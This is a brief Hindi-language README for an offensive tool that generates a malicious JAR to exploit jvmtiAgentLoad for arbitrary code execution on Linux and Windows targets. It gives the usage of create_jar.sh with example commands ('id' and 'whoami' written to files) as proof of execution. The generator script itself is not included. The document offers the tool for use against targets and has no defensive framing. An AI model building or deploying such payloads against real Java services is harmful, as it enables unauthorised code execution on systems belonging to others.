jvmtiAgentLoad के माध्यम से मनमाना कोड निष्पादन

विवरण:

jvmtiAgentLoad का शोषण करने के लिए एक दुर्भावनापूर्ण JAR उत्पन्न करने हेतु उपकरण और कोड

उपयोग:

$ bash create_jar.sh 
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows

लिनक्स लक्ष्य

निम्नलिखित कमांड एक JAR (mal.jar) उत्पन्न करता है जिसका उपयोग लिनक्स लक्ष्य पर किया जा सकता है:

bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'

विंडोज़ लक्ष्य

निम्नलिखित कमांड एक JAR (mal.jar) उत्पन्न करता है जिसका उपयोग विंडोज़ लक्ष्य पर किया जा सकता है:

bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'

अतिरिक्त संसाधन: